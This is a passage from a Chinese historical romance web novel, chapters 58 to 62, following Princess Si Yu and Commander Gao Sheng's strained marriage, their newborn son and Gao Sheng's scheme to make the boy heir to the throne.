高?盛被问到了,他的确想过一些,但?没有满意的,好似天下的字都配不上他们的儿子?。 “急什么?,就先叫着小名,等后面取大名不迟。”他说。 司妤不催他了,用了晚饭,拆了发髻去沐浴。 出来时,却见高?盛又坐在她书桌旁。 她问:“你怎么?又坐那儿去了?” “怎么??我又不看你那些机密文书,就看点可有可无的玩意儿。”说完,将她那只簪匣打开,露出里面装着的干花。 他之前写的信也都收藏着,就在簪匣旁边,也用个小木盒收得整整齐齐。 司妤不知怎么?,有点脸红了,过来收好这些东西,和他道:“快去沐浴,身上都是汗味儿!” “我可是沐浴过后进?的宫。”意思汗是后来才流的。 她扭头不语。 他又笑了笑,起?身去沐浴了。 随后回来,两人依偎在床上,忍不住又温存了两回,好似不知节制的好色之徒。 翌日一早两人都参加大朝会,随后司妤留在宫中,高?盛回了公主府,终于见到了醒着的小嘉。 浓眉,大大的眼睛,高?鼻梁,五官的确像他,但?肤色明显是随了司妤,白得泛光。 这么?白的男人,将来不像个小白脸么?? 听奶娘说孩子?不怎么?爱哭,醒着的时候十?分?安静,高?盛试着抱他,他也没哼唧,就是睁着大大的眼,一直瞧他。 高?盛说不出自己是什么?感?觉,抱着一个拥有自己血脉的孩子?,是如?此奇妙的感?觉,而且这孩子?还是公主为他生的。他抱着他,如?此希望他能平安一世,希望能将自己的一切都给他。 没待多久,小桃过来了。 其实她昨日下午来过,因为知道表叔回来了,结果到院外,宫女说太尉与?公主都在休息,她就走了,今日一早才过来。 她几乎每天这个时候都会来看看小嘉,虽说论血缘,其实小嘉与?她的血缘已经不近了,但?家中亲人都不在了,这是唯一新来的小生命啊,又是表叔的孩子?,她忍不住当他如?亲弟弟一样亲近。 玩了一会儿小嘉就要喝奶了,两人出了厢房,去院外,在园子?里走走,正好园子?里种?好了花木,高?盛还没见过。 高?盛第一件就是问起?小桃被掳的事,小桃回道:“事情都过去了,我什么?事也没有,而且那几个流民被斩首了,严夫人也被斩首了,表叔实在不用再?担心。” “以?后出门身边带着护卫,我从隔壁调一队护卫来给你。”高?盛说。 小桃连忙摇头:“公主早就安排了,不用再?麻烦。”说完,感?叹道:“公主真的已经做好了,当时我不见,她马上就派了很多人去找,回来后又让御医给我治伤调养,连同翠儿也是。 “而且我知道,其实当时很多人都替严夫人求情,那些日子?每天都有好多人来府上求见,我也和公主提过放了严夫人,但?公主还是处置了严夫人,我觉得她对我特别好。” 高?盛当然知道临汾王那批人,他们现在就有许多小动作,遇到这事,肯定?是齐心协力要保住严夫人,至于小桃如?何,那对他们来说完全?不值一提,司妤最后斩严夫人,当然是承受了很大压力。 那时她还大着肚子?呢…… 其实她不动手,等他回来也会动手,结仇也是他与?严淮的事,她动手,则是平白弄?了这趟浑水。 她这人啊,看不出来,竟是面冷心热,表面上冷漠,连一封关心点的信都不给他写,做起?事来却是实在。 真是傻,她辅政做得很好,就是心不够黑,若她心黑,定?叫他也害怕。 第59章 第 59 章 高盛回道:“她对你好也是应当的, 她是你婶婶,我不在,她就该为你作主。” 小桃有些诧异地看向他, 在他脸上看出一种自豪与得意。 似乎在说, “这是我妻子,当然好。” 她虽不懂朝政, 但也不是完全不懂表叔和公主的关系,他们结为夫妻,也许有一半是因?为有了孩子,但更多是一种相互的妥协, 算是联姻。 朝上的贵族文?臣多半心?向公主,而像卢叔他们这些武将?则向着表叔, 两边人还相互看不起, 总吵架。 这种情况下, 两人的关系其实是很?微妙的,一边是同床共枕的夫妻, 一边又有各自的矛盾和立场,小桃以前就觉得公主疏离冷漠, 表叔别有心?思,但现在她却觉得表叔变了,在他脸上, 公主作为妻子的身?份更重了一些。 或许是因?为小嘉?公主生?小嘉,那样辛苦, 而那孩子乖巧又好看, 长得和表叔几乎一模一样, 流着高家的血,怎让人不欣喜? 她笑道:“舅公舅婆要是泉下有知, 知道表叔娶了公主这样的媳妇,一定高兴得合不拢嘴。” 高盛想了想,回道:“日后有机会,咱们回西凉一趟愿意么?替你爹娘他们修坟,或者将?祖坟迁来京城。” 小桃想也不敢想这种事,连年战乱,这年月好像安稳活着都是奢侈,怎么敢想回乡看看呢? 她在村子里还有两个?好姐妹,还有几个?照顾她的长辈,都不知现在怎样了。 她问:“可以吗?会有那样的机会吗?” “当然可以,怎会不可以?”高盛笃定地回答。 小桃开心?了:“那我肯定要回去看看。” 晚上得闲,司妤将?小嘉抱到自己房里陪他玩一会儿。 到给他擦身?的时?间了,奶娘要将?他抱走,他却哼唧起来,不要奶娘,张开胳膊要找司妤。 奶娘笑道:“小公子要亲娘呢,还不愿意了。” 司妤心?中一暖,本就因?对孩子照顾得少而愧疚,此时?越发不忍了,便开口道:“就把热水送到这里,我来帮他擦洗吧。” 宫女便连忙去备水备巾帕,将?床上垫了尿垫,就在这房间擦洗。 司妤做得少,奶娘在旁边指导帮忙,小嘉手舞足蹈,一直望着司妤笑。 如缨道:“小公子怎么就认识亲娘了呢?” 奶娘回答:“也许是见公主好看。” 说话间,高盛来了。 正好给小嘉忙活得差不多了,他精神还好,看着还能玩一会儿,奶娘与宫女便先下去了,将?孩子留在了房内。 高盛也开始抱孩子,抱了一会儿道:“我怎么觉得他长得像你,看这唇,小小的,还有唇珠,和你一样。” “哪有,小孩都有唇珠。”司妤说。 “就是像你,我儿子可真好看。” 司妤在一旁笑。 没一会儿高盛道:“我们给他办个?满月酒吧?” 如今孩子已经快两个?月了,确实没办满月酒,连洗三礼都是匆匆敷衍的,因?为那时?邓州正打?仗。 司妤想着,如今似乎没什么事,办一个?也行,便同意了。 婴儿的清醒时?间就那么一会儿,很?快小嘉就开始烦躁闹觉了,奶娘将?他抱去了厢房。 烛光摇拽,房中气息交缠,暮夏的天气里又添几分?燥热。 司妤湿了鬓发,断断续续和他道:“别在里面……怕怀孕……” 就那么一夜就怀孕,她现在有些害怕,避孕汤药多少伤身?,也不能乱吃,要是现在又怀孕,那她这大好的年月就只剩怀孕生?孩子了。 他依她之?言。 于是两人又一起去浴房。 浴桶是给一个?人用的,他偏要挤进来,溢了半屋的水。 “在邓州时?,夜里睡不着,一闭上眼就是你。”他搂着她说。 司妤靠在他肩头,很?清楚他说的睡不着是怎样睡不着,问他:“黄承训虽没有屈继先那样好色,但听说身?边却也有个?邓州美人,没人送到你房中么?” 这是很?明显的试探询问了,她在探听他在外面有没有乱来。 高盛看着她笑而不语。 司妤问:“你笑什么?” 他凑近她道:“谁有你美?碰她们我还怕脏了我。” 司妤被?他逗笑了。 他又轻轻吻上她。 …… 十?来天后,公主府替小嘉办满月酒。 父亲是高盛,母亲是司妤,于是这满月酒排场比皇帝大婚还大,皇上皇后亲临,满朝文?武来贺,公主府已经坐不下,隔壁太尉府也是人满为患。 但直到此时?,司妤才觉察出不对,意识到这满月酒并非普通的满月酒。 家中办喜事,一应事项当然是男女主人负责,且各有分?工,那按惯例,迎客宴客的是男主人,后院操持与招待女眷的是女主人,这就导致酒水座次等事都堆到了司妤身?上,而高盛却是那个?接受文臣武将恭贺的人。 男人惯有的地位,天然压了她一头,在这一刻,他是比天还高的夫,是一家之?主,而她却成了辅佐家主的女主人。 会让那满朝文武觉得高盛地位是压过她的。 但她之?前却没想到这些,她只想着替孩子办个满月酒也是常礼,再要应对已是来不及。 晚上宾客散去,司妤便冷了脸,将?收拾的事交给如缨,自己回了房中。 高盛晚一些才回房来,见司妤在书桌边上看书,和她道:“怎么还没去床上,别太累了。” 司妤没理睬。 他看出她情绪不对,一边抚上她的肩,一边弯腰看向她的脸:“怎么了?不高兴?” 司妤回道:“自然没有太尉高兴,今日如此风光。” 说着她将?书放下,看向他:“办满月酒只是你的借口,孩子只是你立威的工具,是么?” 高盛很?想装傻。 办满月酒再正常不过,他今日宴宾也十?分?正常,她抓不到他的把柄。 但事实确如她所说,他原本没想到要办满月酒,只是因?为征邓州回京受挫,太尉府不可因?此被?打?压,他需要在其他地方扳回一局。满月酒就是那一局,因?为夫权为上,这是苏检的主意。 此时?面对她的质问,他竟做不到装傻,静默一会儿,承认了。 “办满月酒也是真心?,立威也的确有这样的想法?,就如同你要打?压太尉府,我也要替太尉府着想。”他说。 司妤颓然坐在椅子上,一言未发。 一股凝重笼罩着两人。 不知过了多久,她问:“有一天,如果我败了,你会杀了我吗?” “为什么你一定要与我对抗?”他反问,“你不是皇上,你只是公主。嫁给我,做我的妻子不行吗?无论我生?或是我死,你都是我的妻子,唯一的妻子。” 说到这里,他神色认真:“若我为帝,你是皇后,我可以将?政事都交与你,与你共治天下。” 司妤苦笑:“所以因?为生?了儿子,我升级了?以前是妃子,现在可以做皇后了?” 她曲解他的意思,高盛想解释,却觉得她是故意的。 当然不是因?为她生?了儿子,只是因?为她。 司妤道:“我还没有傻到,因?为男人一个?承诺就让出祖宗基业。这天下是姓司的,我是公主,我与司家天下同在,若国破,我便殉国,这是我唯一的归宿。” “所以……你要还政给你弟弟,然后夷我九族?这九族是不是也包括你儿子?”他反问。 司妤轻微一阵瑟缩,看着他不说话。 他道:“时?至今日,你也知道,我要么万人之?上,要么死无葬身?之?地,我死了,我儿子也绝不会被?留下。” “我不会让你死,也不会让孩子有事。”她说。 高盛突然明白她为什么说她还没傻到相信一个?男人的承诺,她的承诺他也不信。 因?为等到那时?,可能由不得她了。 他道:“可我觉得,自己的性命还是握在自己手中更踏实。” “你就一定要做乱臣贼子?”她急道。 高盛默然。半晌看着她道:“原本我不是的……我一心?征战沙场,保家卫国,但后果你也知道了。你也要知道,你家的江山是被?你爹糟蹋的,可不关我什么事。” 司妤被?逼出了眼泪,因?为他如此无情攻讦她父亲。 她厉声道:“他是君,你是臣,你这是大逆不道。” 高盛一阵不屑地轻哼,司妤被?气得重重呼吸。 两人就此沉默,再无别的话,一人坐着,一人站着,僵持了许久。 最后她道:“你去其它院里睡吧,我想自己静一静。” 高盛看了看她,却回:“我不去。” 司妤抬眼,脸上露出一抹诧异。 他道:“至少现在我们还是夫妻,你凭什么赶我走?” 司妤扭过头去,“我不想看见你。” “不想看也得看,嫁了我就一辈子是我的人,死了也得和我埋一起。”他一边说着,一边过来抱她。 “你放手,别碰我!”她使劲挣扎,却被?他一把横抱起,她被?悬空了,身?体不能着力?,除了脚蹬几下,手往他胸口捶几下,就毫无办法?。 没一会儿就被?扔在了床上。 她不服地看着他,偏偏自己就是没办法?,他力?气比她大。 他道:“知道你要嫌我脏,我去洗澡了。”说着一边脱衣服一边去了浴房。 司妤曲腿坐到床头,抿着唇,心?中只觉气恼,怅然,无助。 也不知高盛怎么洗了一下,很?快就回来了,赤着上身?,只穿一条里裤。 她嫌弃地往床内侧移了移,问他:“你怎么洗的,怎么这么快?” “我又不是你,不知道在洗什么。再说今晚你想必不让碰,洗那么干净做什么?”他回得理直气壮。 “邋遢。”司妤评价一句,躺下来转过身?去背朝他。 第60章 第 60 章 高盛也躺了?下来, 半晌看一看旁边,司妤与他隔着半臂宽的距离。 他知道她不高兴,却不知怎么安慰她, 毕竟他自己?也难受。 若是小事也就?罢了?, 他不在?意?,但是……他不能不在?意?自己?的命、不在?意?那么多随自己?出生入死的兄弟, 他们将出人头?地?的梦想交在?他身上,就?换来他轻而易举的放弃么? 沉默中,他叹了?一声气,双臂枕着头?道:“你也不用太担心, 兴许我哪天就?死在?战场了?,刀剑无眼?, 这种事也说不好, 到时候你想怎样就?怎样。” 司妤的难受并没有好一点, 甚至更难受了?。 她也不想他死啊,甚至听见他说这种话就?想斥责他口无遮拦, 因?为觉得要谨言慎行,敬畏神灵, 不可将“死”这种话挂在?嘴上。 她依然沉默着没说话。 没一会儿,他自外侧过?来,从后面将她抱住。 突来的温暖怀抱, 让司妤觉得鼻头?猛地?一酸,甚至想转过?身去紧紧抱他。 但还是克制住了?, 未来的分歧压在?她头?顶, 让她不敢去放肆宣泄自己?的情绪。 如?果没有这一切就?好了?, 好想好想有一天,他们能放下这些政事、战乱、还有争执, 就?做一对平淡的夫妻,抚养小嘉平安长大,或许再生两个孩子…… 这时她突然想起来那翠虚散人说的话,说她会富贵荣华,夫妻恩爱,还说什?么有二子一女,当?时她觉得就?是胡诌,现在?竟然……她真的成婚了?,还真的喜欢上高盛,如?果没有这些事,他们也会恩爱的,所以难道这话是真的,他们真会善终? 她突然撑起身,转身看向他。 高盛防备地?问:“怎么?”似乎疑心她是要发脾气。 司妤却只看了?看他,什?么也没说,又?躺了?下来。 她还是不敢想,还是觉得匪夷所思,比起那虚无缥缈的猜测来,还是翠虚散人信口胡说更合逻辑。 高盛觉得莫名其妙,看她一会儿,叹一声气,躺下睡去。 他睡得快,直到他睡着,她还清醒着,忍不住转过?身看他,轻轻靠在?了?他肩头?。 如?果他有一日篡位,改易江山,她一定会选择死去,但如?果要她亲自下令诛他九族,那对她来说一定比死还难受。 她不知能怎么办。 翌日,司妤有些头?疼,身体酸软无力,等到中午,愈加严重,额头?也开始发烫,请了?医士来,确认是风邪入体,就?算服药也没那么快好,症状怎么也要持续三日以上。 但第?二日她要与皇上一起去祭拜太庙,向司家各位先祖祭告收复邓州的事,也要宣旨大赦天下,其中仪事十分繁琐,一直从早上持续到中午。 因?为此事,司妤喝药十分积极,原本就?交待了?医士下重药,还超分量喝,巴不能马上就?能好,但毕竟病去如?抽丝,一边喝着药,一边退烧了?又?重新烧起来。 晚上司妤让高盛去其他院里休息,不用和?她一起。 高盛却问:“怎么,还没消气,到这时候还想着赶我走?” 司妤没力气回答他,她是怕影响他休息。 他没走,摸了?摸她滚烫的额头?,“我就?在?这里,有什?么事,我也能侍候你。” 司妤懒得多说,随便他。 他看着她道:“要不然明天你不去了?,让皇上去,你去不去,倒也干系不大。” 司妤坚定地?摇头?,“那怎么可能,我要去。” 一看就?是劝不了?的模样,高盛只能由她。 本以为他说侍候就?是玩笑,她不觉得他会侍候人,但平时倒头?就?睡、一夜好眠的他这一夜却频频醒来,一醒来就?去摸她额头?,她夜里要喝水,才醒过?来还没开口就?让他惊醒了?,起身去为她端水。 喝了?水又?问她:“要不要方便?要我就?抱你过?去。” 司妤摇头?,他就?扶她再躺下,“再要喝水了?再叫我。” 她昏昏沉沉,又?躺下去了?,躺了?一会儿突然睁眼?,和?他道:“五更时记得叫我,别让我弄晚了?。” 高盛叹息:“好。”但此时差不多已是四更末了?。 司妤睡过?去,到五更,是高盛先醒来。 他还在?犹豫要不要叫她,却听门外有动静,随后宫女道:“公主,该起了?。” 想必是她之前也交待了?宫女来叫她。 司妤果真爬起来了?,洗漱好,让宫女梳妆。 今日穿是的礼服,戴的是金丝缠绕的花树冠,全都繁复且沉重。 她也没胃口吃什?么,就?喝一碗糖水,吃了?半个糖水煮鸡蛋。 随后就?出门去。 高盛并不与司妤一起出门,司妤去了?未央宫,他要从朱雀门进去,到尚书台,随后与文武群臣一起去宗庙前等候。 直到一个多时辰后,他才在太庙前看见司妤。 她与皇帝一起从未央宫过来,傲然屹立,面色肃穆,缓步往太庙走,在?太常指示下跪下,叩拜,又?起身,连一根头发丝也没有差错。 竟看不出病容,看不出她从昨日开始就?没吃什?么东西。 这又?要怎样的气力来强行支撑呢? 他心里有些堵,真怕她突然倒在?地?上。 太常呈上文册,由皇上在?宗庙牌位前宣读,皇上读得有些磕绊,明显之前没背熟,司妤却看着先祖的牌位湿了?眼?眶。 宗庙内一共祭祀着十三位皇帝,九位太后、皇后,另有三十多名立下赫赫功绩、由皇帝亲自下旨配享太庙的臣子。 他们看着大兴的江山沦落,又?看着如?今新都建立,朝廷的兵马收复邓州。 高盛也跪在?地?上,看着那高高供奉的数十座牌位,突然懂了?司妤。 不管如?今的大兴有多破烂,它曾经是荡平天下、万国来朝的铁血王朝,这牌位上的每一个名字都那样辉煌,如?天上的星辰般闪耀过?。 而司妤,是大兴的公主。 她会时刻维持自己?公主的仪态,会维护大兴,维护她的父皇,她的王朝与她,不可分隔。 她不顾一切,用尽自己?所有力量来匡复司家天下的社稷,她是如?此坚韧,如?此孤勇,哪怕太后与皇上都不堪用,她也要独自负重前行,若她一心享乐,她就?不再是她,若她甘心奉上江山,那也不是他爱着的她。 这一刻他真正意?识到,她与江山,只能存其一。她永远不可能放弃自己?的公主身份做他的皇后,她说的,国破她则亡,是真的。 司妤自太庙回公主府,几乎昏倒。 宫女给她端来吃食,勉强吃了?一些,然后喝了?药,她便再次睡去。 高盛就?坐在?一旁看她。 到晚上,她这烧总算是退了?。 烧一退人就?轻松许多,再过?两天,总算全好了?。 这时她才敢碰孩子,几日不见,早已想得发慌,将孩子抱在?手上逗了?好久。 高盛坐在?她身旁,突然道:“要不然,他大名就?叫司嘉吧。” 司妤愕然抬头?:“司?” 高盛从她手中接过?小嘉,将小嘉高高举起又?放下,惹得他大笑。 “是啊,姓司,当?初拜堂时你不总想高我一头?吗,我做你们家的上门女婿,就?让孩子随你姓怎么样?” 司妤久久看着他,不懂他的意?思。 为什?么要随她姓?为什?么要姓司? 因?为前两天才祭拜过?太庙,她突然想了?起来:姓司,意?味着这是皇家人,算是父皇的孙子。 民间?招赘婿,一般是没有儿子,所以招来赘婿生下子嗣,这子嗣便是女家的血脉,继承家业。那小嘉呢? 小嘉是司家的血脉,他要继承什?么家业? 司妤心中一震:“为何要姓司,你什?么意?思?” 高盛一动不动看着小嘉:“我的意?思你明白,我愿意?扶持我儿子,也只有我儿子才不会杀我。” “你疯了?!”司妤脱口而出,不敢细想。 高盛正色道:“我没疯,这样不好吗?这样的天下,还是你司家的。” “你要让我成为那个居心叵测的罪人,让我篡夺我弟弟的皇位?”司妤直到现在?还不敢置信。 高盛平静回答:“你觉得那皇位你弟弟配吗?他只是被我们二人扶上去的,没了?你我,他什?么也不是。” “可他是皇子,他也还小,而且……他会有孩子!”司妤自己?也曾想过?这个问题,“就?算他只能守成,他的孩子也许有聪慧的。” 高盛觉得她傻,又?傻得让人心疼:“所以你要代理朝政,直到他儿子长大?那个孩子与你有什?么关系?那只是你外甥,不过?喊你一声姑妈,他自有父亲,有母亲,你能保证他能信任你,理解你的苦心,而不是有一天把你除掉?” 司妤面色苍白,一句话也说不出来。 他继续道:“当?然,我这个姑父就?更不用说了?,容得下我的必定是无能之辈,奈何不了?我;有能的君主,一定会杀了?我,包括那些追随我的人、包括我儿子,斩草要除根。” 他又?看向小嘉:“这么小的孩子,一般不是斩头?吧,往地?上狠狠一砸就?能砸得脑浆崩裂,当?场——” “你住口!”司妤大喊,从他怀中将孩子夺了?过?来,怜惜地?抱在?手上,斥声道:“为什?么总这样说话毫无顾忌,你自己?也就?罢了?,现在?竟说到孩子!” 高盛反问:“是我说话无顾忌吗?我只是说的事实,很有可能要发生的事实。但如?果上位的是我们的儿子,我甘愿替他打下这江山,辅佐他长大,再将我亲手带出来的万千铁骑交与他手中。你呢?与其扶持弟弟,还要等他有孩子,为什?么不能扶持你儿子?” 司妤摇头?:“你住嘴,别说了?,如?此大逆不道的话,你再也不许说!” 高盛不再多说,却最后扔下一句话:“他叫司嘉,未来的天子,这是我最后的让步,要么,让这天下姓高,你做我的皇后,他叫高嘉,也是未来的天子。” 60-70 第61章 第 61 章 整个下午, 司妤都在想高盛的话。 他竟要让小嘉姓司…… 她知?道这是最好的方案,可如?果这样,她前?面做的一切都算什么? 她不是为了弟弟, 不是为了司家的江山, 她才是那个最大的野心家、蛇蝎毒妇,居心叵测, 步步为营,联合高盛窃取了自家的江山。 那样史书将会如?何?写她与高盛?他们将永远被钉在篡权夺位的耻辱柱上?,而她又该如?何?面对?弟弟、母后?如?何?面对?司家那些宗亲? 真是那样,那她就是司家的叛徒, 也会成为真正的孤家寡人,从此只有高盛为丈夫、为盟友、为亲人, 除此之外, 一无所有。 她做不到, 杀了她也做不到。 司妤不同意,但高盛主意已定, 他跑去找宗□□,要将小嘉的名字写上?皇家族谱, 司妤得知?,交待宗□□不可乱写,宗正无奈, 最后称病躲在家中,谁也不敢得罪。 与此同时?, 攻屈继先的计划也在筹备。 高盛得胜归来, 士气正盛, 昔日零落的江山也太需要一统,屈继先便是北方最大的一股反叛势力, 只要剿灭屈继先,朝廷便平定了整个北方,曾经衰弱的败象便能?复苏,届时?民心所向,再挥师南下,胜局已定。 原本征屈继先仍会用高盛,但现在临汾王等人属意李琚为主将,令高盛驻守京师。 若是以前?,司妤还?会客观来想,高盛为主将胜算更大,此时?他们最需要的是协心齐力;但现在她下意识就觉得临汾王等人说的不无道理,因为高盛确实有反心,让他带兵,他的力量日益壮大,到时?他直接就能?率师逼宫。 因为这重考虑,她不由得就犹豫起来,迟迟不能?作?出决定。 直到一日,皇上?找到她,向她要一个官职,掌管宫中禁卫的左中郎将,他属意之人是皇后的堂兄李劲。 一听这话,司妤心中瞬间就警惕起来,想的第一件事不是李劲此人能?力如?何?,而是皇上?为何?会有这念头。 她面上?淡然,不动声色地问:“李劲此人我见过一次,倒算得上?骁勇,据说箭法不错,被人称作?太尉其二,是皇后向皇上?提起的?” 她在前?面将李劲称赞了一番,最后似乎无意,轻飘飘问了一句,皇上?果然不疑有他,很快道:“皇姐说的是,她说李劲才能?不比欧阳策弱,而且还?是自己人,总比欧阳策靠得住。” 司妤心中泛起一团怒火。 什么自己人?欧阳是从旧都就任她宫中守卫的人,之后一路追随,受她提拔成为今日的左中郎将,欧阳策就是她的自己人,现在皇后连皇后的位子都没坐稳,就要将如?此重要的职位交给李家人,左中郎将可管着宫中三千禁卫! 或者,这不是皇后的意思,而是国丈李琚的意思? 可恨的是,皇后如?此居心叵测;可叹的是,她的弟弟、一国之君的皇上?丝毫没看?出这里的微妙关?系,竟理当所然来和她提这事。 她突然想起高盛的话,等皇上?有了孩子,她只是那孩子姑妈,姑妈算什么,他自有父亲母亲,和谁更亲,毋庸置疑。 现在还?不是皇上?的孩子,还?是皇上?,要过来用妻家的人换掉她的人。 他们是亲姐弟,但如?今半月也见不了几次,与皇后却不同,同床共枕,夫妻一体。 司妤道:“李劲现任右侍郎,我记得是皇后进宫时?才提拔的,当时?已是破格,如?今才过几个月就陡升三级,执掌宫中禁卫,太快了。” 皇上?毫无应对?,说不出话来。 司妤又道:“再说,如?今朝中正为一事暗流涌动,皇上?知?道吧?” 皇上?试探着问:“是……派谁打屈继先的事?” 司妤点头:“正是,此事还?没定下,若在此时?陡然升了李劲的官,那就代表我表态了。” “为什么?”皇上?问。 司妤耐心回答:“代表我要派高盛出去,所以升了李劲的官,以示对?国丈的安抚。” “为何?不能?先升李劲的官,再派国丈出去?” “那样,高盛能?罢休吗?”司妤道:“一桌子人吃饭,你给左边的人倒了酒,又给右边的人夹了菜,大家都能?其乐融融;你把?所有的酒菜都移到左边,让右边的人没得吃,他就会掀了桌子。皇上?知?道,高盛是有掀桌子的能?力的。” 皇上?当然知?道,高盛在朝上?咳一声,朝臣会瞬间噤若寒蝉。 他问:“那此事……是不能办?” 司妤道:“待我再想想吧,先等出兵之事定了再说,而且宫中防守太过重要,欧阳策任职以来也从无差错,没有理由换下,真要提拔李劲,也是提拔去别处。” 皇上?倒是对?她言听计从,轻易被说服,很快离去了。 司妤却不再平静,她心中的天平偏向了高盛。 她为什么要让李琚壮大呢?李琚的心里想着什么,谁又知?道? 这一刻她突然意识到,当初她为皇上?择定皇后,想的是司家的利益、皇上?的利益,但当这婚成了,皇上?却与皇后成了一体,她反倒成了外人。 回公?主府,直到入睡时?,司妤都是心烦意乱。 她不知?自己和高盛会走向何?方,又不知?和皇上?会走向何?方,她很怕很怕,怕最后竟与家人互生罅隙,心生怨恨。 高盛在她身旁躺下,过了一会儿,凑了过来,是一副求欢的态势。 她往里侧挪了挪,不耐烦道:“累。” 意思是别碰她。 高盛便收了回去,一时?也有些气闷。 竟想提拔李琚而打压他,他不知?道她怎么想的。 她不高兴,他还?不高兴呢! 他便在旁边睡下,也不再理她。 没两天,司妤就作?出了决策,仍然让高盛带军攻豫州,薛迈为副将,卢慈、李琚镇守京城。 与此同时?,一则奇谈在京中传开?,说有一日公?主府才四个月的小公?子由奶娘抱着在花园中玩,突然天上?飞来一只白鹤,停在小公?子面前?,扇动翅膀翩翩起舞,逗得小公?子哈哈大笑?,随后就飞走了。 的确有这么一回事,某一日院里是飞来一只白鹤,小嘉当时?也的确被奶娘带在园中,但白鹤就在院中一块石头上?站了片刻,眨眼功夫就飞走了。 如?缨也和司妤说起过这事,她没当回事,笑?笑?就过去了,现在这事竟被添油加醋传了出去。 若没有之前?的事,司妤会觉得莫名其妙,但她现在知?道高盛的意图,也就知?道这事是高盛干的,他在为小嘉造势。 那些帝王史纪中,总有什么蛟龙附身,紫气冲庭,不知?是真是假,但这些奇闻就是会让人觉得那人是天命所归——所以当她出生那一日,天边的云霞特别美,也会被奉为奇谈。 司妤的心里很乱,听见府上?有人议论这事,夸小嘉以后必定不同凡响,她会制止,让人不许多说,道小嘉平平安安长大就好,不指望他有什么出息。 她们讨论这些时?,小嘉正趁大人不注意,一把?抓起桌上?的粥碗就要往嘴里送,让里面的粥洒了自己一身。 再过半月,当宗正还?称着病,公?主府白鹤起舞的奇谈慢慢淡去,高盛要带军出征了。 临行前?夜,他站在床边问司妤:“给碰吗?” 司妤正坐在床头,听这话将书搁在了腿上?,沉默着不说话。 高盛看?她这样子就是不给,便坐到床上?,将鞋一甩,囫囵躺下,闭眼睡去。 司妤看?他一眼,又低头看?书。 看?一会儿,想到他明日就走,终究是忍不住抬起头来,朝他道:“我不方便,来月事了。” 高盛睁眼,她已再次将目光投到书上?。 他伸手拿了她的书:“那还?看?什么,别看?了,早点睡觉。” 司妤无奈,也确实有些腰酸,躺了下来。 他过来,一手抚着她的脸:“再回来就明年了,会想我么?” 她没说话,伸出手握住了他的手。 两人对?视间,他过来一把?抱住她,重重吻上?她唇。 许久,他几乎将她揉进怀里,手沿着衣襟进去逡巡一遍,紧紧搂着她,问:“真不是骗我?” “你自己不记得日子么?”司妤嘟起唇。 他想了想,“这谁能?记得,我也没和你待过多久。” 这倒是实话,这次在京也就两三个月,中间大半是在吵架闹不和。 可他明天就要走了,她发?现她也想他,一时?间忘了之前?争执的事,含住他颈间喉结。 高盛重重一吸气,再次吻上?去。 这一晚缠绵半晌,最后却是他叹息一声:“等我回来,要让你三天下不来床。” 司妤躺在他怀中轻笑?。 她倒真希望是那样呢,就怕到时?候北方平定了,京中各方势力却更加蠢蠢欲动,各有小心思,到时?他们不知?又会怎样僵持。 第二日,司妤在宫门前?送大军出征。 天已经渐渐转寒,新年时?,他们要么在列阵对?峙,要么已经开?战。 望着高盛的身影远去,司妤满心怅然,他是她心里的牵挂,她盼他平安归来,而这万千将士,谁又不是有父母妻儿牵挂呢? 要到何?时?,这天下才不会有战乱? 第62章 第 62 章 第62章 大军渐渐远去时, 一辆马车在宫门前停下?,小桃急匆匆从马车上下?来,拿着?包裹往前追了一段, 从人群缝隙中看见除了公主与群臣, 再没见到大军的影子。 司妤后面的公公赵良看见了,过来问?:“县君, 可有急事?” 小桃手中抱着?个布包:“还有一双鞋忘了给太尉。” 前两日她就?将许多衣物交给表叔了,但今日一早才发现最重要的一双鞋竟没有放进去,那是用?皮革缝的,遇到冬天下?雪, 穿着?不会打湿,也就?不会冻伤脚。 她满面懊恼与着?急, 说话间, 就?见到旁边的侍卫队伍, 坐在马上的马毅。 她知道那位当初救下?她的流民成了公主身边的侍卫,她偶尔能看见, 但没说过话,他与之前的模样完全不同, 身形魁梧,神色沉静,仍像以前一样寡言少?语。几?日不见, 发现他竟骑了马,衣服与佩刀也与之前有所不同, 显然已经升职了。 马毅也看见了她。 这时马毅与旁边一人说了句什么, 策马小走几?步, 过来道:“我替县君将东西送过去。大军未走远,还追得上。” “多谢你!”小桃连忙将包裹递上。 马毅也没有多的话, 接过包裹,打马就?朝远方而去。 后来公主与群臣都离去了,小桃还等在原地,没多久,一人一骑渐渐靠近,是马毅回来了。 待他靠近,她发现他手上已没了那个包裹。 马毅从马上下?来,和她道:“禀县君,包裹已送到太尉手中了,太尉带话,让县君在京中物色青年才俊,他回来就?替县君办喜事。” 小桃愣了,她万万没想到送个包裹还被带一句这样的话……这话的确像是表叔会说的,他当着?自己也说过很多次,可这次竟被外人这么转达,让她尴尬得无地自容。 她草草应了一声,很快撇开话题:“这一次多谢你……你都有马了,是做上队长了吗?” 马毅点头。 小桃道:“公主想必是看重你,我听说现在的左中郎将欧阳策以前就?是公主身旁侍卫,你日后还会升官的。” 马毅半晌才道:“多谢县君。” 话到此处,马毅朝她拱手道别,骑上马离去了,小桃也回了马车上。 高盛走后,京中维持安定,直到一个月后,军中来报,大军已到达豫州。 此时又是寒冬腊月,打仗并不容易,而京中徜徉在一片新年喜气?中,家家户户准备迎新年。 最能体现时间流逝的,是小孩子的成长,小嘉的个子蹭蹭长,显然是随了高盛的体形,将来必定身形高大。 他再不像小时候那样爱睡了,清醒的时间多了很多,也调皮,什么都抓,什么都往嘴里?送,司妤想还好有奶娘帮忙,要是给她带,她定然是带不住的。 除夕那一日,家家放爆竹,宫里?也放,司妤从宫中用?过家宴回来,发现小嘉还没睡,大概是外面吵闹。 这会儿还早,司妤也好不容易年节得闲,就?抱着?他在堂中守岁,看着?面前的烛火,不由想起远方的孩子他爹。 她在屋中,旁边燃着?碳取暖,面前摆着?瓜果蜜饯,怀里?逗着?孩子享着?此刻天伦,却不知高盛是怎样的冰天雪地,怎样的忍饥挨饿,还有战场刀箭。 心中一动,她突然唤宫女来,给她拿来纸笔写信。 上次都是他给她写,她却没怎么给他回,今夜此时,她想给他写一封信。 告诉他孩子又长大了,重了,也皮了;告诉他京中一切都好,小桃也好,不必牵挂,还告诉他,她决定这几?天闲着?,给他做一双鞋子,其实?她女红也是可以的。 想说思?念,却没好意思?说出口?。 在她写信时,豫州的高盛正站在帐蓬外,等着?时光流逝。 今夜除夕,营中稍稍加了些肉,却没备酒,因为大军准备趁夜袭击。 只是料想屈继先也会有防备,所以他们?准备黎明时分趁对方紧绷一夜后放松时再打。 